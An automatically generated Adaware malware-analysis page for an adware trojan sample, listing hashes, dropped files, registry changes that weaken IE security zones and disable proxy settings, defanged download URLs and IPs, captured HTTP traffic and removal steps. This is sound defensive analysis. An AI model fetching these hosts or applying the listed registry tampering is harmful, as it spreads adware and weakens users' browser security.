Trojan.Win32.Swrort.3_b8c930fe3b – Adaware

not-a-virus:HEUR:AdWare.Win32.Generic (Kaspersky), Trojan.Win32.Swrort.3.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan, Adware

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: b8c930fe3b84f8964ac7c6198f46d778

SHA1: e9d85dd10ea068cfd89da43f33123ce33794ef70

SHA256: 16a37a451dfdb9ce9a86baa2b85a42373e5c7770d2d0e0f76bd68ee9ba0450ac

SSDeep: 1536:tGarUa6LowvuhdNYh2Gf9rg6hzGPnzs1SEIu3ehYTJfYBo:T5BuYAVrgUCPnz2htOo

Size: 66842 bytes

File type: EXE

Platform: WIN32

Entropy: Not Packed

PEID: UPolyXv05_v6

Company: no certificate found

Created at: 2012-02-24 21:20:04

Analyzed on: WindowsXP SP3 32-bit

Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):No processes have been created.The Trojan injects its code into the following process(es):

%original file name%.exe:652
Setup__2140_il21.exe:1796

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:652 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nst2.tmp\nsArray.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst2.tmp\450204812 (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst2.tmp\Setup__2140_il21.exe (52544 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst2.tmp\NSISdl.dll (15 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nse1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst2.tmp (0 bytes)

The process Setup__2140_il21.exe:1796 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\dm_left_image[1].png (1928 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\accept[1].gif (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\amipb[1].js (34209 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\next[1].gif (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\main[1].css (1177 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\logo[1].png (2150 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\finish[1].gif (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\cancel[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\skip[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Setup__2140_il21.exe:typelib (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\cancel1[1].gif (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\amipixel.cfg (31 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\decline[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Setup__2140_il21.exe (4545 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\footer_img[1].png (937 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\index[1].htm (7461 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst2.tmp\Setup__2140_il21.exe:typelib (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Desktop\Continue installation .lnk (848 bytes)

Registry activity

The process %original file name%.exe:652 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C4 FC 03 D3 17 37 5B CC 40 9F 4F C7 10 3D 0F 06"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process Setup__2140_il21.exe:1796 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCR\watchful.bookmen.1\CLSID]
"(Default)" = "{6049631c-35db-48bf-9ca7-32847298bfb6}"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKCR\CLSID\{6049631c-35db-48bf-9ca7-32847298bfb6}\LocalServer32]
"(Default)" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nst2.tmp\Setup__2140_il21.exe"

[HKCR\CLSID\{6049631c-35db-48bf-9ca7-32847298bfb6}\Version]
"(Default)" = "1.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKCR\Interface\{F66E0C1A-9BDC-4CDF-86AC-2AD2CDCB6E25}\TypeLib]
"(Default)" = "{971927DA-CE1B-405C-89E7-E6C52E643DF4}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCR\CLSID\{6049631c-35db-48bf-9ca7-32847298bfb6}]
"(Default)" = "Inst Class"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKCR\Interface\{F66E0C1A-9BDC-4CDF-86AC-2AD2CDCB6E25}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryCount" = "16"
"TypesSupported" = "7"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCR\TypeLib\{971927DA-CE1B-405C-89E7-E6C52E643DF4}\1.0\FLAGS]
"(Default)" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCR\watchful.bookmen]
"(Default)" = "Inst Class"

[HKCR\TypeLib\{971927DA-CE1B-405C-89E7-E6C52E643DF4}\1.0\0\win32]
"(Default)" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nst2.tmp\Setup__2140_il21.exe"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKCR\watchful.bookmen.1]
"(Default)" = "Inst Class"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"LogSessionName" = "stdout"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCR\CLSID\{6049631c-35db-48bf-9ca7-32847298bfb6}\ProgID]
"(Default)" = "watchful.bookmen.1"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\Setup__2140_il21\DEBUG]
"Trace Level" = ""

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKCR\CLSID\{6049631c-35db-48bf-9ca7-32847298bfb6}\VersionIndependentProgID]
"(Default)" = "watchful.bookmen"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "Setup__2140_il21.exe"

[HKCR\Interface\{F66E0C1A-9BDC-4CDF-86AC-2AD2CDCB6E25}]
"(Default)" = "IBoot"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"

[HKCR\TypeLib\{971927DA-CE1B-405C-89E7-E6C52E643DF4}\1.0]
"(Default)" = "InstallerLib"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKCR\Interface\{F66E0C1A-9BDC-4CDF-86AC-2AD2CDCB6E25}\ProxyStubClsid]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "55 59 06 81 62 03 21 F9 15 61 06 9A 87 F7 59 69"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1464487673"

[HKCR\Interface\{F66E0C1A-9BDC-4CDF-86AC-2AD2CDCB6E25}\TypeLib]
"Version" = "1.0"

[HKCR\CLSID\{6049631c-35db-48bf-9ca7-32847298bfb6}\LocalServer32]
"ServerExecutable" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nst2.tmp\Setup__2140_il21.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"
"EventMessageFile" = "%System%\ESENT.dll"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCR\CLSID\{6049631c-35db-48bf-9ca7-32847298bfb6}\TypeLib]
"(Default)" = "{971927da-ce1b-405c-89e7-e6c52e643df4}"

[HKCR\TypeLib\{971927DA-CE1B-405C-89E7-E6C52E643DF4}\1.0\HELPDIR]
"(Default)" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nst2.tmp"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCR\watchful.bookmen\CurVer]
"(Default)" = "watchful.bookmen.1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\Setup__2140_il21\DEBUG]
"Trace Level"

Dropped PE files

MD5	File path
2534aa92450be82e21aebc3b4c87531d	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Setup__2140_il21.exe
7caaf58a526da33c24cbe122e7839693	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nst2.tmp\NSISdl.dll
2534aa92450be82e21aebc3b4c87531d	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nst2.tmp\Setup__2140_il21.exe
89d40ecddf3ce6f3b0e6a84f40936912	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nst2.tmp\nsArray.dll

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temp\nst2.tmp\nsArray.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst2.tmp\450204812 (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst2.tmp\Setup__2140_il21.exe (52544 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst2.tmp\NSISdl.dll (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\dm_left_image[1].png (1928 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\accept[1].gif (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\amipb[1].js (34209 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\next[1].gif (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\main[1].css (1177 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\logo[1].png (2150 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\finish[1].gif (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\cancel[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\skip[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Setup__2140_il21.exe:typelib (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\cancel1[1].gif (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\amipixel.cfg (31 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\decline[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\footer_img[1].png (937 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\index[1].htm (7461 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst2.tmp\Setup__2140_il21.exe:typelib (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Desktop\Continue installation .lnk (848 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	29324	29696	4.50526	419d4e1be1ac35a5db9c47f553b27cea
.rdata	36864	11118	11264	3.11773	cca1ca3fbf99570f6de9b43ce767f368
.data	49152	469916	512	1.25109	77f0839f8ebea31040e462523e1c770e
.ndata	520192	1019904	0	0	d41d8cd98f00b204e9800998ecf8427e
.rsrc	1540096	2776	3072	3.06446	26314bf906f4320c906acfc9e757d20f
.reloc	1544192	4054	4096	3.79221	884fc25e09d4e9312434bb8e1d904c50

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 15
9284d776bd8ec832528a84bab0c2eb37
a5e228f53e6d5e28fd79034504ccbbbb
64fc406b8d43f14130f5576aaac422de
2b95ee47d1c3c4ada2384fad2ac2fc36
336cdb859a1a80fc3ba8e66cce0b6879
4de3cf9dc517a27069018f0c287d40de
1917bba2b758c53bba297690de8777ae
efe8a4130e9c5162112511265c3afd9c
20d42636145b8409cd30027ea7e1e7e5
29cacad32005227ae8eda9464a09eebc
c5eb6ee5a550c017f87db917465223b6
6a270cc3b4f70d7fd0cafa4fd2068cb1
c99eba109d093f79702fbd75a33aa972
c381ad379faca5a6961caff2602d0283
978fbe4ae306b26a0d3e93cd752cdbae

Network Activity

URLs

URL	IP
hxxp://dna4mm5c1mahl.cloudfront.net/launch_v5.php?p=sevenzip&pid=1505&tid=4312341&b_typ=pe&n=Vm13YXJlK3dvcmtzdGF0aW9uKzEwLjAuNStidWls&reb=1&ic=
hxxp://dualstack.ils-front-balancer3-264552681.us-east-1.elb.amazonaws/download.php?version=1.1.5.26&monitor=1&z2=0&ci=2140&appsetupurl=http://pe-sixi.com/downloadS.php?bu=am&prefix=Setup&instid[appname]=installer&instid[cmdline]=/S&instid[appimageurl]=http://pe-sixi.com/img/icon_installer.png
hxxp://dualstack.ils-front-balancer3-264552681.us-east-1.elb.amazonaws/index.php
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/main.css
hxxp://dyno3mlj15jgv.cloudfront.net/V36/amipb.js
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/footer_img.png
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/cancel1.gif
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/cancel.gif
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/skip.gif
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/decline.gif
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/next.gif
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/accept.gif
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/finish.gif
hxxp://dualstack.ils-front-balancer3-264552681.us-east-1.elb.amazonaws/finalize.php
hxxp://dualstack.ils-front-balancer3-264552681.us-east-1.elb.amazonaws/Html/7d0e2798-c9e5-442a-a48d-1a3dfc747868/logo.png
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/dm_left_image.png
hxxp://cdn2.lawfuldownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/cancel.gif	54.239.168.159
hxxp://cdn2.lawfuldownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/decline.gif	54.239.168.159
hxxp://up.sdfuus98d7f.xyz/launch_v5.php?p=sevenzip&pid=1505&tid=4312341&b_typ=pe&n=Vm13YXJlK3dvcmtzdGF0aW9uKzEwLjAuNStidWls&reb=1&ic=	54.239.168.105
hxxp://cdn2.lawfuldownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/skip.gif	54.239.168.159
hxxp://cdn2.lawfuldownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/dm_left_image.png	54.239.168.159
hxxp://cdn1.lawfuldownload.com/V36/amipb.js	54.239.168.206
hxxp://www.quaintspokenracketiest.site/finalize.php	54.243.171.25
hxxp://www.quaintspokenracketiest.site/index.php	54.243.171.25
hxxp://cdn2.lawfuldownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/cancel1.gif	54.239.168.159
hxxp://cdn2.lawfuldownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/accept.gif	54.239.168.159
hxxp://cdn2.lawfuldownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/next.gif	54.239.168.159
hxxp://www.quaintspokenracketiest.site/Html/7d0e2798-c9e5-442a-a48d-1a3dfc747868/logo.png	54.243.171.25
hxxp://cdn2.lawfuldownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/footer_img.png	54.239.168.159
hxxp://cdn2.lawfuldownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/main.css	54.239.168.159
hxxp://cdn2.lawfuldownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/finish.gif	54.239.168.159
hxxp://www.dosecuretrips.com/download.php?version=1.1.5.26&monitor=1&z2=0&ci=2140&appsetupurl=http://pe-sixi.com/downloadS.php?bu=am&prefix=Setup&instid[appname]=installer&instid[cmdline]=/S&instid[appimageurl]=http://pe-sixi.com/img/icon_installer.png	107.20.158.246
pe-sixi.com	69.197.35.236

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/main.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.lawfuldownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: text/css

Content-Length: 9386

Connection: keep-alive

Date: Thu, 31 Mar 2016 19:10:59 GMT

Content-Disposition: attachment; filename="main.css"

Last-Modified: Thu, 26 Feb 2015 16:19:17 GMT

ETag: "9d7c4ddc39dddc3623e8a57e55afd079"

Accept-Ranges: bytes

Server: AmazonS3

Age: 26617

X-Cache: Hit from cloudfront

Via: 1.1 83f09f54eba2e4c0bef905fd06911416.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _J-F0PcTlJ7tkCC8wbVzzJPpdsRPcRLHWAcKhxV0w8cYqL8CorjHXQ==

body {.. font-size:10px;. background:#eaeaea;. font-family: Arial;. margin: 0;. padding: 0;. color:#000000; .}..div, span, textarea {. cursor: default;.}..a, a span, a div {. cursor: pointer;.}../* whole screen styles */..ami-wrapper{. background : none no-repeat scroll 0 0 #eaeaea;. border:2px solid #989898; .}../* moddle element */..#ami-body.{..position: relative;. padding-left:27;. padding-right:27;.}...bottom-line{. background-color:#5cafd4;. height:45px;. width:100%;.}..table {. border-collapse: collapse;. margin: 0 ;. padding: 0;. font-size:10px;.}..textarea {..font-size:10px;..font-family: verdana;..width:98%;..padding: 5px;.}...textarea1{. background:#ffffff;. color:#000000;. height:100%;. width:100%;. overflow-x:hidden;.}..td{. padding: 0px;.}../* footer and footer buttons */...bottom-holder{. background-image:url('footer_img.png');. background-repeat:repeat-x;. height:59px;. position:absolute;. bottom:0px;. padding-left:20px;. padding-right:20px;.}...#btnNext{. background: url('next.gif') no-repeat;.}.#btnCancel{. background: url('cancel.gif') no-repeat;.}../* Use for cancle with no popup !!! */.#btnBack{. background: url('cancel1.gif') no-repeat;.}..#btnDecline{. background: url('decline.gif') no-repeat;.}..#btnAccept{. background: url('accept.gif') no-repeat;.}..#btnSkip{. background: url('skip.gif') no-repeat;.}...btn-finish-install{. background: url('finish.gif') no-r

<<< skipped >>>

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/footer_img.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

